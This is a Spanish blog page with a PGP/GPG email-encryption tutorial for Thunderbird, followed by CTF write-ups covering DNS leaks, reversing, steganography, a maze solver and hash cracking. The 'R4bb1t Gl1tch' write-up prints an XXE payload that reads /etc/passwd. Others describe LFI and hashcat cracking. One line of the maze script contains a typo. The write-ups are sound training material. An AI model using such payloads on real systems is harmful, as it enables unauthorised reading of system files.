Como utilizar PGP/GPG en Thunderbird/Icedove

Hoy vamos a cambiar un poco la monotemática de los writeups y vamos a introducir un pequeño tutorial sobre como utilizar PGP/GPG en los clientes de correo Thunderbird y Icedove.

Para empezar quizás ni siquiera conozcáis que significan las siglas PGP o GPG, aquí tenéis una pequeña explicación:

  • PGP: Viene de Pretty Good Privay, actualmente es propiedad de Symatec, el formato de sus llaves, mensajes cifrados, etc; conforman el conocido OpenPGP estándar.
  • GPG: O GNU Privacy Guard es una implementación independiente del estándar OpenGPG que te permite intercambiar mensajes cifrados con otras implementaciones de dicho estándar.

Muchas veces la gente habla erróneamente el termino GPG cuando se refiere a implementaciones del estándar OpenGPG como, por ejemplo, refiriéndose a llaves GPG. Esto se debe, sobre todo, a la gran popularidad que GPG tiene dentro de la comunidad Linux.

Vale, pero, seguís sin tener ni idea de que estoy hablando ¿verdad?

En lugar de darle mil vueltas a una explicación técnica creo que es mejor que si estáis interesados en como funciona os leáis este artículo de la wikipedia el cual lo explica muy bien: https://es.wikipedia.org/wiki/Pretty_Good_Privacy

En su lugar yo os voy a explicar algunos usos básicos que se le dan a este sistema criptográfico, pero antes vamos a dejar claros un par de términos para asegurarnos de que podéis seguir mi explicación:

  • Pares de llaves: Cuando hablo de pares de llaves me refiero al conjunto de la llave pública y la llave privada generadas siguiendo el estándar OpenGPG.
  • Llave pública: Aquella llave que se comparte con nuestros contactos para que estos puedan realizar diversas acciones como verificar que un mensaje enviado por nosotros es nuestro.
  • Llave privada: La llave que solo nosotros debemos poseer y que suele estar protegida con contraseña, esta llave la utilizaremos para firmar/cifrar nuestra información.

Usualmente PGP se suele utilizar para dos cosas: firmar y cifrar información.

  • Firmar: Cuando firmamos información utilizando nuestra llave PGP, bien sea un archivo, bien sea un email; lo que estamos consiguiendo es que el receptor sepa que la información que hemos enviado proviene de nosotros y que no ha sido alterada.
  • Cifrar: Al cifrar un mensaje nos aseguramos que solo la gente que tenga, nuestra llave pública y que nosotros hayamos utilizado la suya, pueda acceder a la información cifrada.

Seguramente os hayáis encontrado con el aspecto referente a la firma muchas veces aunque quizás no os hayáis dado cuenta, por ejemplo, los repositorios que apt utiliza están firmados con esta tecnología para asegurarnos que los paquetes que nos descargamos no son modificados por un intermediario. Por esto mismo, cuando añadimos un nuevo repositorio, debemos importar la clave pública del repositorio para evitar que apt nos envíe alertas sobre que no puede verificar la integridad de dichos paquetes. La firma de archivos también se utiliza muchas veces a la hora de enviar documentos y que, tanto el destinatario como el receptor, puedan asegurar que el documento enviado es tal cual se envión y no se ha modificado a posteriori.

En el caso del cifrado de información quizás ya no os suene tanto, pero existen múltiples utilidades para esta función, dos implementaciones de ejemplo serían: retroshare, que utiliza este sistema para cifrar la comunicación entre sus nodos; y los correos electrónicos, donde tanto el contenido del correo como sus adjuntos son cifrados de tal manera que solo su verdadero destinatario sea capaz de verlos.

Este último uso es el que ha dado origen a esta entrada. Normalmente no nos preocupamos demasiado de la información que se envía a través de correo electrónico, bien sea porque apenas lo usamos (parece que está quedando al nivel de enviar una carta escrita a mano) o bien porque no enviamos información que creamos sensible.Pero os voy a poner un ejemplo, ¿sabiais que google lee nuestros correos? Y no lo digo en plan NSA, sino que utilizan un sistema que en base al contenido de nuestros correos puede aplicar acciones tales como crear eventos en nuestro calendario. A alguno quizás ya os ha pasado que al recibir vuestro billete de avión en vuestra cuenta de google este os ha generado un evento en el calendario para recordaros dicho vuelo, pues a eso me refiero.

La solución ideal sería que todos estos correos que pueden contener datos nuestros fueran cifrados con nuestra llave pública de tal manera que solo nosotros pudiésemos verlos, el problema viene con que para ello el emisor debería tener nuestra llave pública, lo cual, para sistemas automatizados, no siempre es viable sin una implementación específica que las obtenga de un servidor o nos permita copiarlas.

Pero aunque no podamos hacerlo con todos esto no significa que no debamos hacerlo con los que si podemos. ¡Así que vamos a ello!

Deciros que me centro en Thunderbird/Icedove (T/I de ahora en adelante para abreviar) porque en ambos casos las instrucciones son las mismas y la implementación actual de WinGPG (GPG para windows) para outlook me ha dado muchísimos errores.

Doy por hecho que tenéis ya configurado T/I con la cuenta de correo que queráis utilizar e instalados WinGPG, para los que uséis windows, o GPG, para los linuxeros. No entro en detalles sobre como instalar estas aplicaciones ya que ambos se instalan de forma estándar en sus correspondientes OS, siguiente, siguiente, siguiente para windows y apt, yum, pacman para linux.

Nos instalamos el addon Enigmail en T/I, para ello podemos utilizar el propio cliente de correo o irnos al siguiente enlace: https://addons.mozilla.org/es/thunderbird/addon/enigmail/

Una vez reiniciemos el cliente veremos que ahora tenemos un nuevo menú arriba del todo llamado enigmail. Puede ser que Enigmail inicie un asistente de configuración, esto suele ocurrir sobre todo en Windows si no detecta bien nuestra instalación de los binarios de GPG. Si hacemos click en el veremos las diferentes opciones que nos proporciona, para empezar, haremos click en “Administración de claves”.

Esto nos abrirá una nueva ventana donde podremos ver un listado de todas las llaves que tenemos, sin formato para las públicas y en negrita para aquellas de las cuales también tengamos las privadas.

Para generar nuestro nuevo par de llaves haremos click en “Generar” -> “Nuevo par de claves”.

En la parte superior veremos que nos permite seleccionar una de las cuentas que tengamos configuradas en nuestro T/I, seleccionar aquella para la que queráis crear la llave. Aquí podemos seleccionar las características de nuestra llave: introducir una contraseña o generar las llaves sin ella, el tiempo por el cual la llave es valida; y en la pestaña de avanzado el tamaño y el tipo de clave. Estas últimas no se suelen modificar.

Como bien nos advierte el mensaje en la parte inferior de la ventana generar las llaves puede llevar un buen rato debido a la eurística necesaria para el proceso. Así que en cuanto le demos a generar nos pondremos a hacer otras cosas con el ordenador para ayudar en el proceso de generación de la misma.

Una vez termine el proceso ya tendremos nuestro flamante par de llaves, pero de nada sirven si solo las tenemos nosotros. Lo primero será guardar a buen recaudo nuestra llave privada, para ello haremos click derecho en nuestra llave en la misma ventana y le daremos a “Exportar claves a un archivo”; nos preguntará si queremos guardar también la privada y lo confirmamos, si hemos configurado una contraseña para la llave nos la pedirá para confirmar nuestra identidad.

El segundo paso es distribuir nuestra clave pública para que la gente pueda verificar nuestros correos y enviarnos correos cifrados. Para ello existen dos métodos, o bien distribuir nuestra clave pública a individuales pos distintos métodos: impresa en papel, un qr, un email, etc; o bien utilizando un servidor de claves para que cualquier se la pueda descargar. Para ello haremos click derecho en la llave que deseamos subir y hacemos click en “Subir claves públicas al servidor de claves”. Esto subirá nuestra llave pública a distintos servidores de claves, existe una anillo de servidores de llaves que se sincronizan entre si y que son de acceso público para este propósito; esta sincronización puede tardar algún tiempo, así que si acabas de subir tus llaves quizás tus contactos aun no puedan encontrarlas si utilizan un servidor distinto del anillo.

Para buscar las llaves de nuestros amigos haremos click en el menú “Servidor de claves”-> “Buscar claves”. El método habitual para buscar una llave es utilizando el fingerprint de la misma para asegurarnos de que es la que corresponde, o bien utilizando la dirección de email; este último método es el menos recomendable ya que pueden existir duplicados de llaves o llaves de las cuales el receptor a perdido la llave pública y no la ha podido revocar.

Una vez le demos a buscar se nos abrirá una nueva ventana con los resultados de la búsqueda, seleccionamos las claves que queramos importar y le damos a “Ok”, esto importara dichas claves a nuestros anillo de llaves local.

En el caso de que nos hayan pasado la clave pública por cualquier otro método deberemos meterla en un archivo y utilizaremos la opción del menú “File” -> “Importar claves desde fichero” para importarla a nuestro anillo.

Ya deberíamos tener todo listo para enviar nuestro primer correo cifrado. Ahora al abrir el editor para enviar un mensaje nuevo se nos presentaran nuevas opciones:

El mensaje en rojo de que este correo no se firmara ni cifrará aparece debido a las opciones por defecto, esto se puede editar en las preferencias de Enigmail. Una vez seleccionemos un destinatario Enigmail automáticamente detectará sin tenemos una clave pública que podamos utilizar y, según su configuración, se ajustará:

Como ves ahora enigmail nos indica que el mensaje de cifrará ya que en mi anillo tengo tanto la llave privada para la dirección emisora como la llave pública para la dirección receptora. Para también firmar el mensaje simplemente tendría que hacer click en el icono que sale a la derecha del candado en la barra de Enigmail.

Una vez enviado el correo esto será lo que verá el destinatario si todo ha ido bien:

Como podéis ver, enigmail nos informa de que el mensaje ha sido descifrado con éxito y nos muestra la información de la llave con la que el mensaje fue cifrado.

Espero os haya gustado esta introducción al uso de PGP en nuestros correos, en próximos post explicaré como utilizar este mismo sistema en nuestro smarthphone Android utilizando K9 y OpenKeyChain.

Saludos y, como siempre, gracias por vuestra visita!

Publicado en cripto, tools, tutorial | Deja un comentario

Follow the white rabbit CTF – R4bb1t Gl1tch

Glitchs are very annoying, we hate them. Maybe the user stays with you 😉

http://web3.ctf.followthewhiterabbit.es:8003/

En esta prueba nos encontramos la siguiente web:

Aparentemente no tiene nada más, pero al revisar el código fuente vemos el siguiente comentario:

Vale, ya sabemos que tiene que ver con XML y que la flag esta en /etc/passwd, tiene toda la pinta de ser XXE. Después de algunas pruebas para intentar que me mostrara mi usuario encontré la estructura de XML que esperaba la página.

Este comando:

curl -d "<creds><user>kalrong</user></creds>"  http://web3.ctf.followthewhiterabbit.es:8003/

Consigue este resultado:

Una vez descubierto el formato del XML creamos un archivo con un XML que aprovechará la vulnerabilidad XXE:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd" >]><creds><user>&xxe;</user></creds>

Le indicamos a curl que envíe el contenido de dicho archivo de la siguiente manera:

curl -d @filename http://web3.ctf.followthewhiterabbit.es:8003/

Y obtenemos el resultado esperado con la flag:

Ahí se ve perfectamente la flag:

fwhibbit{R3M3MB3R_XXE_AND_CURL_RUL3S}

Publicado en ctf, fwhibbit-ctf, web, writeups | Deja un comentario

Follow the white rabbit CTF – Information Leakage

Our experts claim that we have suffered an important information leak thanks to our domain: flag.followthewhiterabbit.es Can you check if this is true?

Esta prueba fue bastante sencilla, simplemente utilizamos el comando dig con su opción any para extraer todos los registros referentes a este subdominio:

dig any flag.followthewhiterabbit.es

Y obtenemos la siguiente información:

Y ahí tenemos la flag:

fwhibbit{DnS_L3ak}

Publicado en ctf, fwhibbit-ctf, misc, writeups | 1 comentario

Follow the white rabbit CTF – How Many Rabbits

We need the information in this binary password protected…can you help us?

https://mega.nz/#!N4dDVSYY!mcH-FyRD9cwCuL8i3OFy_1zrA55djoLk9s2Qd7-hPuo

En este reto nos dan un binario el cual al ejecutarlo nos muestra lo siguiente:

Como con gdb tenía ciertos problemas, me fui a IDA (con wine, en linux, con dos cojones xD), lo primero que hice fue ver si en la view de strings aparecía alguna pista:

Efectivamente podemos ver el principio de la flag, la localizamos en el código a golpe de doble click, y otro doble click para ver donde se utiliza:

Yendo hacia arriba en el código encontramos el jump que nos llevaría a esta parte del código, precedido de un string compare ¿será que solamente hace esto?:

Metemos un break en la dirección del test y ejecutamos. En cuanto metamos nuestro input IDA se parará en nuestro break y simplemente pasando con el ratón por encima de los registros generales para ver su contenido obtenemos esto:

¿Podría ser? Vamos a probar:

Efectivamente ahí tenemos la flag:

fwhibbit{Tw3nty_tw0_r4bb1t5_ar3_en0ugh}

Publicado en ctf, fwhibbit-ctf, reversing, writeups | 2 comentarios

Follow the white rabbit CTF – MAY THE TROLL BE WITH YOU

An army of hackers has stolen the flag from our rabbits. Security experts have failed to capture the flag and some have even gone mad. Please…GIMME THE FLAG!!

http://web1.ctf.followthewhiterabbit.es:8001/

En este reto nos encontramos con la siguiente web:

Una de las primeras cosas que siempre pruebo en webs nuevas es ver si existe un robots.txt, y efectivamente:

La abrimos y nos encontramos esta web:

Si nos fijamos en la url veremos que esta incluyendo un archivo, muy probablemente estemos ante un LFI, pero no sabemos la ubicación de la flag, así que vamos con el siguiente paso lógico, mirar el código de la página y ¡sorpresa!:

Ya hemos localizado el path de key2, editamos la url para que nos abra dicho archivo y obtenemos esto:

Vale, pero nos falta localizar key1, viendo la cantidad de comentarios que hay en la web referentes a key me puse a leer el todo el código que pude encontrar en la web, primero html, y luego css … y mirar lo que me encontré en uno de ellos:

¡Ya tenemos las dos keys! Solo nos falta introducirlas en el formulario y obtenemos la flag y una chic chic chica muy guapi:

Como comentario final decir que los comentarios se pueden extraer todos juntos utilizando el engagement de burp, find comments de forma automática lo que facilita esta prueba. Gracias Patatas por el tip.

Una anécdota curiosa de este reto fue que lo terminé en cama con el móvil, ya había sacado key2 desde el portátil pero ya era tarde y me fui a la cama; en lugar de leer un libro como la gente normal, me puse a leer el código de la web desde el propio movil jeje Para los que no lo sepan, yo utilicé firefox en Android y simplemente añadiendo view-source: al principio de la url os mostrará el código de la web.

Publicado en ctf, fwhibbit-ctf, web, writeups | 1 comentario

Follow the white rabbit CTF – Fat Rabbit

One of our rabbits has eaten more than necessary and now it’s about to explode. We need to know what the rabbit has eaten, could you help us? It might be a flag, for sure!

https://mega.nz/#!IlN2BLRa!zigY9gRGzZ_Muvo1ZyC0yofLVUi4azVfvwPkRStMyd0

Esta vez nos encontramos con un bmp que contiene al siguiente conejito:

Lo primero que hice, como suele ser habitual, fue lanzar binwalk contra el archivo, pero este no reconoció más cabeceras que las del bmp, así que siendo estego decidí lanzarle steghide e intentar sacar la contraseña, pero me encontré con algo curioso:

Steghide se queja de que hay una lista bastante larga de bytes de relleno que no son cero, copie las direcciones de dichos bytes en un archivo llamado bit y utilizando el siguiente script (bash en una linea ftw!) extrajé dichos bytes y los guarde en un archivo output.raw para analizarlo posteriormente:

COUNTER=0; for i in $(cat bits); do value=$(printf "%d\n" $i); dd if=CunnyCunny.bmp of=output.raw skip=$i count=1 bs=1 seek=$COUNTER;COUNTER=$[COUNTER + 1] ; done

Para los que el comando os suene a chino os explico lo que va haciendo:

  1. El bucle for va leyendo linea a linea la dirección en hexadecimal del archivo bits.
  2. Utilizo el comando printf para convertir el hexadecimal a decimal y guardarlo en la variable value.
  3. Utilizando dd extraigo el byte donde:
    1. skip: Es la posición a la que dd tiene que saltar donde se encuentra el byte a extraer.
    2. count: Es el número de bytes que quiero extraer, en este caso, 1.
    3. bs: Por seguridad especifico que quiero que dd lea de 1 byte en 1 byte.
    4. seek: La posición en el archivo de salida para que vaya concatenando los bytes en lugar de reescribirlos.
  4. Le sumo 1 al contador de posición del archivo de salida y pasa al siguiente byte.

Una vez que termina le hago un cat al archivo output.raw y ahí esta la flag:

fwhibbit{P4dding_H1d3_4w3s0m3_Th1ngs}

Solución alternativa de Narib, muchas gracias por la info crack:

Uilizar zsteg (https://github.com/zed-0xff/zsteg), una gem de ruby que a pesar de que es de hace 4 años, al menos para este reto hace su labor a la perfección.

Ejecutando el comando ‘zsteg CunnyCunny.bmp’ obtenemos lo siguiente:

scanline extradata .. file: ASCII text, with no line terminators
00000000: 66 77 68 69 62 62 69 74 7b 50 34 64 64 69 6e 67 |fwhibbit{P4dding|
00000010: 5f 48 31 64 33 5f 34 77 33 73 30 6d 33 5f 54 68 |_H1d3_4w3s0m3_Th|
00000020: 31 6e 67 73 7d 00 00 00 00 00 00 00 00 00 00 00 |1ngs}………..|

Publicado en ctf, estego, fwhibbit-ctf, writeups | 2 comentarios

Follow the white rabbit CTF – Magic QR

The rabbit boss of the enemy burrow has sent a QR-encrypted message.
Decode it and get a hash in SHA1, introduce it before the rabbit eats the carrot and you will get your precious flags

http://dev1.ctf.followthewhiterabbit.es:8008

 

En esta prueba nos piden resolver un QR en menos de 4 segundos y devolver el SHA1 que conseguimos:

Lo primero de lo que me di cuenta al intentar leer el QR es que los colores del mismo estaban invertidos, guardamos el QR y utilizamos el siguiente comando para hacerlo legible:

convert -negate qr.png dst.png

Con esto el QR ya es perfectamente valido, al escanearlo nos encontramos con que nos devuelve un string en lo que parece ser morse. Después de pasarlo por mi querido morse.py veo que efectivamente al pasarlo a texto plano me devuelve un SHA1, pero, 4 segundos no es demasiado tiempo para hacer todo a mano, así que vamos a automatizar un poco todo esto.

Lo primero es obtener el QR, el cual esta en base64 dentro del source de la web, así que utilizando curl lo obtenemos y guardamos las cookies para que al enviar la solución no tengamos problemas:

curl -b cookies.txt -c cookies.txt -e dev1.ctf.followthewhiterabbit.es -s http://dev1.ctf.followthewhiterabbit.es:8008/index.php | grep base64 | cut -f2 -d"," | cut -f1 -d'"'| base64 -d > qr.png

El siguiente paso sería convertirlo con el primer comando que mencione y para leerlo utilizamos el siguiente script de python que nos devolverá el contenido del QR:

from qrtools import QR

myCode = QR(filename=u"dst.png")
myCode.decode()
print myCode.data

Este output a su vez se lo pasamos a morse.py y obtenemos el SHA1 que utilizaremos con curl y las cookies que andes guardamos para enviar la solución:

solution=$(python /home/kalrong/tools-sources/kscripts/morse.py -d "$morse"); echo "$solution"; curl -X POST -d "solution=$solution"  -b cookies.txt -c cookies.txt -e dev1.ctf.followthewhiterabbit.es -H "Referer: dev1.ctf.followthewhiterabbit.es" http://dev1.ctf.followthewhiterabbit.es:8008/index.php

Esto nos imprimirá por consola la web resultante que contiene la flag, para hacerlo de forma totalmente automática utilicé el siguiente script en una linea en bash:

curl -b cookies.txt -c cookies.txt -e dev1.ctf.followthewhiterabbit.es -s http://dev1.ctf.followthewhiterabbit.es:8008/index.php | grep base64 | cut -f2 -d"," | cut -f1 -d'"'| base64 -d > qr.png;convert -negate qr.png dst.png; morse=$(python qr.py);  solution=$(python morse.py -d "$morse"); echo "$solution"; curl -X POST -d "solution=$solution" -b cookies.txt -c cookies.txt -e dev1.ctf.followthewhiterabbit.es -H "Referer: dev1.ctf.followthewhiterabbit.es" http://dev1.ctf.followthewhiterabbit.es:8008/index.php

Lo ejecutamos y en unos segundos obtenemos la página de la cual podemos extraer la siguiente flag:

fwhibbit{Qr_1s_y0ur_Fr1end}

Publicado en ctf, dev, fwhibbit-ctf, python, writeups | Deja un comentario

Follow the white rabbit CTF – The Maze

Rabbits are afraid of Mazes.
This time our rabbit is lost and he is looking for his carrot, so you must help him.
In order to scape from the maze you must submit the whole string of movements the rabbit needs to make to reach his goal. Good Luck!
http://dev2.ctf.followthewhiterabbit.es:8008

 

Otra vez estamos limitados en tiempo, pero en este caso tenemos que resolver un laberinto, introducir las intrucciones para resolverlo y resolver un recaptcha, todo en menos de 30 segundos. Vamos a ello.

Como en este caso tenemos un recaptcha no podemos automatizar todo como en el caso del QR así que tendremos que ser rápidos para conseguir meter la solución y resolver el recaptcha. Pero vamos a ir por partes, lo primero que hice fue copiarme el código fuente de la página para hacer pruebas. Pero vamos a ir poco a poco.

Lo primero fue encontrar una manera eficaz de resolver el laberinto, en este caso el algoritmo A* es de lo mejor que pude encontrar, esta web me ayudo mucho:

http://www.laurentluce.com/posts/solving-mazes-using-python-simple-recursivity-and-a-search/

De paso obtenemos el algoritmo ya en python el cual tendremos que adaptar para nuestras necesidades, de paso le añadí un “parser” un poco cutre para que leyera el código de la página de un archivo y se encargara de poner el laberinto en un formato que el algoritmo entendiera. El resultado fue este script:

import heapq


class Cell(object):
    def __init__(self, x, y, reachable):
        """Initialize new cell.

        @param reachable is cell reachable? not a wall?
        @param x cell x coordinate
        @param y cell y coordinate
        @param g cost to move from the starting cell to this cell.
        @param h estimation of the cost to move from this cell
                 to the ending cell.
        @param f f = g + h
        """
        self.reachable = reachable
        self.x = x
        self.y = y
        self.parent = None
        self.g = 0
        self.h = 0
        self.f = 0


class AStar(object):
    def __init__(self):
        # open list
        self.opened = []
        heapq.heapify(self.opened)
        # visited cells list
        self.closed = set()
        # grid cells
        self.cells = []
        self.grid_height = None
        self.grid_width = None

    def init_grid(self, width, height, walls, start, end):
        """Prepare grid cells, walls.

        @param width grid's width.
        @param height grid's height.
        @param walls list of wall x,y tuples.
        @param start grid starting point x,y tuple.
        @param end grid ending point x,y tuple.
        """
        self.grid_height = height
        self.grid_width = width
        for x in range(self.grid_width):
            for y in range(self.grid_height):
                if (x, y) in walls:
                    reachable = False
                else:
                    reachable = True
                self.cells.append(Cell(x, y, reachable))
        self.start = self.get_cell(*start)
        self.end = self.get_cell(*end)

    def get_heuristic(self, cell):
        """Compute the heuristic value H for a cell.

        Distance between this cell and the ending cell multiply by 10.

        @returns heuristic value H
        """
        return 10 * (abs(cell.x - self.end.x) + abs(cell.y - self.end.y))

    def get_cell(self, x, y):
        """Returns a cell from the cells list.

        @param x cell x coordinate
        @param y cell y coordinate
        @returns cell
        """
        return self.cells[x * self.grid_height + y]

    def get_adjacent_cells(self, cell):
        """Returns adjacent cells to a cell.

        Clockwise starting from the one on the right.

        @param cell get adjacent cells for this cell
        @returns adjacent cells list.
        """
        cells = []
        if cell.x < self.grid_width-1:
            cells.append(self.get_cell(cell.x+1, cell.y))
        if cell.y > 0:
            cells.append(self.get_cell(cell.x, cell.y-1))
        if cell.x > 0:
            cells.append(self.get_cell(cell.x-1, cell.y))
        if cell.y < self.grid_height-1:
            cells.append(self.get_cell(cell.x, cell.y+1))
        return cells

    def get_path(self):
        cell = self.end
        path = [(cell.x, cell.y)]
        while cell.parent is not self.start:
            cell = cell.parent
            path.append((cell.x, cell.y))

        path.append((self.start.x, self.start.y))
        path.reverse()
        return path

    def update_cell(self, adj, cell):
        """Update adjacent cell.

        @param adj adjacent cell to current cell
        @param cell current cell being processed
        """
        adj.g = cell.g + 10
        adj.h = self.get_heuristic(adj)
        adj.parent = cell
        adj.f = adj.h + adj.g

    def solve(self):
        """Solve maze, find path to ending cell.

        @returns path or None if not found.
        """
        # add starting cell to open heap queue
        heapq.heappush(self.opened, (self.start.f, self.start))
        while len(self.opened):
            # pop cell from heap queue
            f, cell = heapq.heappop(self.opened)
            # add cell to closed list so we don't process it twice
            self.closed.add(cell)
            # if ending cell, return found path
            if cell is self.end:
                return self.get_path()
            # get adjacent cells for cell
            adj_cells = self.get_adjacent_cells(cell)
            for adj_cell in adj_cells:
                if adj_cell.reachable and adj_cell not in self.closed:
                    if (adj_cell.f, adj_cell) in self.opened:
                        # if adj cell in open list, check if current path is
                        # better than the one previously found
                        # for this adj cell.
                        if adj_cell.g > cell.g + 10:
                            self.update_cell(adj_cell, cell)
                    else:
                        self.update_cell(adj_cell, cell)
                        # add adj cell to open list
                        heapq.heappush(self.opened, (adj_cell.f, adj_cell))

import numpy
f=open("maze","rb").read()
maze=f.split("font>")[1].split("<font")[0]

maze=maze.split("<br>")
maze_final=[]
for i in maze:
    maze_final.append(i.encode("hex").replace("e296a0","1").replace("266e6273703b","0"))

maze_final[0]=maze_final[0][:1]+"01"+maze_final[0][1:]
tam=len(maze_final)-1
maze_final[tam]=maze_final[tam][1:]+"10"+maze_final[tam][:1]

line=0

dic_maze=[]
for i in maze_final:
    column=0
    for x in i:
        if x == "1":
            dic_maze.append((line,column))
        column+=1
    line+=1
#walls=tuple(dic_maze)
walls=dic_maze
maze = AStar()
maze.init_grid(37, 101, walls, (0,1), (36,99))
direcciones=maze.solve()
buff=direcciones[0]
dirs=""
for i in direcciones[1:]:
    if list(numpy.subtract(i,buff)) == [1,0]:
        dirs+="D"
    elif list(numpy.subtract(i,buff)) == [-1,0]:
        dirs+="U"
    elif list(numpy.subtract(i,buff)) == [0,1]:
        dirs+="R"
    elif listn(umpy.subtract(i,buff)) == [0,-1]:
        dirs+="L"
    buff=i
print dirs

Para evitar tener que andar seleccionando y copiando en la consola lo que hice fue utilizar xclip para que me lo copiara directamente al portapapeles y asi en cuanto el script terminara solamente tendría que copiar y resolver el captcha. Al final termine ejecuntandolo así:

nano maze; python a_star_path_finding.py | xclip -selection clipboard

Con nano y el inspect de chrome abiertos recargaba la página copiaba el código a nano y lo guardaba, y ya automaticamente el script lo resolvía y me copiaba el resultado al portapapeles, dejandonos aun ¡¡29 segundos para resolver el recaptcha!! A eso le llamo yo un conejo rápido.

Si todo fue bien este será el resultado con la flag:

Ahí podemos ver la flag:

fwhibbit{M4z3_S0lv3d_by_Sm4rt_R4bb1t}

Publicado en ctf, dev, fwhibbit-ctf, python, writeups | Deja un comentario

Follow the white rabbit CTF – Hash it

This time we have intercepted the list of passwords and the salt used by our rabbit. Help us to decipher these hashes before the rabbit eats the carrot and you will be rewarded with a precious and juicy flag.

http://dev3.ctf.followthewhiterabbit.es:8008

Y seguimos con las contrarrelojes, en este caso tenemos 50 segundos para crackear 10 hashes y resolver un recaptcha (maldito recaptcha que me hizo perder horas en esta prueba jeje).

Siguiendo un poco lo que hice en The Maze decidí volver a usar el truquillo de dejar nano abierto y xclip para ahorrar unos segundos preciosos.

En este caso nos daban una lista de posibles passwords, concretamente 14344391, y un salt que podía estar o bien delante o bien detrás de dicha password y que variaba en cada sesión. La primera intención fue resolverlo con python pero la verdad es que yo y la optimización nos llevamos mal, y no andabamos muy justos de tiempo y de recursos de hardware, así que decidí utilizar hashcat y utilizar la GPU de mi portátil para crackear los hashes.

El problema con hashcat es que tenía que especificarle el modo o tipo de hash en el que trabajar así que tuve que utilizar la herramienta hashid con la opción -m para que me dijera el modo en que hashcat tendría que trabajar.

Con un par de comandos de bash extraía del código fuente la lista de hashes y el salt y los guardaba en sus correspondientes archivos para que hashcat pudiera utilizarlos. El resultado fue este script de una linea en bash:

nano data2; cat data2 | grep '<div class="data">' | tr -d " "> data; python parse.py; for i in $(cat list.hashes);do echo $i > hash.buff; mode=$(hashid -m $i | grep Mode | head -1 | cut -f2 -d":" | cut -f1 -d"]" | tr -d " "); hashcat --outfile=hash.found --outfile-format=2 --potfile-path=my.pot --force -a 1 -m $mode hash.buff dev3.wordlist salt.list; rm hash.buff;done; python prepare.py; cat ready.data | xclip -selection clipboard

Al igual que en The Maze en cuanto se resolvían todos los hashes el script nos copia al portapapeles el resultado en el formato que el reto espera.

A pesar de todo hashcat solo me conseguía crackear los scripts un 90% de las veces y a veces no lo conseguía hacer a tiempo (GPU de portátil) y cuando no era eso el recaptcha me bloqueaba … pero a base de insistencia por fin conseguí hacerlo todo a tiempo y obtuve la siguiente web:

Ahí podemos ver la flag: fwhibbit{I_L0v3_Brut3Forc3}

Publicado en ctf, dev, fwhibbit-ctf, writeups | Deja un comentario

Follow the white rabbit CTF – Mad Rabbit

Our spies are trying to intercept enemy communication, but they could only get this strange file…it’s a funny video!
We tried to get some usefull information but we haven’t found anything suspicious.

https://mega.nz/#!Ah9SiYxS!8KWuCMZ-F24J_rINPedkie63vqlAfW0uFTeiO-Y7dZo

Después de hablar con el creador de esta prueba (djurado) parece que mi solución no era exactamente la esperada y que fui bastante más rápido de lo esperado.

En este caso tenemos un video de un feliz conejo jeje al abrirlo con VLC lo primero que me doy cuenta es de que contiene dos pistas de audio, una que parece ser la original del video y otra que parece ser solamente ruido.

Por costumbre extraje la segunda pista de audio utilizando ffmpeg:

ffmpeg -i m4d_rabb1t.mp4 -vn -map 0:a:1 -acodec libmp3lame m4d_rabb1t.mp3

Por lo general la gente aquí se va a Audacity, y por llevar la contraria siempre me voy primero a Sonic Visualiser a mirar el espectro ya que se ve mucho mejor que en Audacity, aplicamos la capa de espectro entrelazando ambos canales (aunque aquí solo hay uno pero por costumbre), y vamos recorriendo el espectro y nos encontramos con esto:

Vale, parece que hemos acertado pero no lo vemos bien, ajustando la visualización del espectro con las ruedecitas en la esquina inferior derecha del mismo vamos ajustando hasta ver lo siguiente:

Ahí podemos ver la flag:

fwhibbit{4ud1o_sp3c7r0gr4m_f0r_h1d1ng_m3ss4g3s}

Publicado en ctf, estego, fwhibbit-ctf, writeups | 2 comentarios